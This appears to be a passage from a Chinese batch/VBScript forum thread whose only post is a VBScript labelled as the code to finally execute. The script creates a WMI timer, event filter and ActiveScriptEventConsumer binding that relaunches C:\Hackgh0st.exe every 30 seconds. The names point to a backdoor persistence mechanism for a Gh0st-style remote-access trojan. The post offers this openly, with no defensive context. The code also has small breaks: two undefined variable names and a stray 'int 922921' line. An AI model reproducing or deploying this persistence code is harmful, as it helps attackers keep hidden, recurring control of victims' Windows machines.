[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖
最终要执行的代码
  1. SET WshShell=Wscript.CreateObject("Wscript.Shell")
  2. SET WshSysEnv=WshShell.Environment("Process")
  3. sysdir = WshSysEnv.Item("SYSTEMROOT")
  4. sysdir2 = mid(sysdir,1,3)
  5. nslink="winmgmts:\\.\root\subscription:"
  6. doorname="msoecj"
  7. runinterval = 30000
  8. stxt="Set objShell = CreateObject(""Wscript.Shell""):objShell.Run ""C:\\Hackgh0st.exe"""
  9. SET asec=getobject(nslink&"ActiveScriptEventConsumer").spawninstance_
  10. asec.name=consumer_dol
  11. asec.scriptingengine="vbscript"
  12. asec.scripttext=stxt
  13. SET asecpath=asec.put_
  14. SET itimer=getobject(nslink&"__IntervalTimerInstruction").spawninstance_
  15. itimer.timerid=doorname&"_itimer"
  16. itimer.intervalbetweenevents=runinterval
  17. itimer.skipifpassed=false
  18. itimer.put_
  19. SET evtflt=getobject(nslink&"__EventFilter").spawninstance_
  20. evtflt.name=filter_gfl
  21. evtflt.query="select * from __timerevent where timerid="""&doorname&"_itimer"""
  22. evtflt.querylanguage="wql"
  23. SET fltpath=evtflt.put_
  24. SET fcbnd=getobject(nslink&"__FilterToConsumerBinding").spawninstance_
  25. fcbnd.consumer=asecpath.path
  26. fcbnd.filter=fltpath.path
  27. fcbnd.put_
  28. int 922921
复制代码
---学无止境---

TOP

返回列表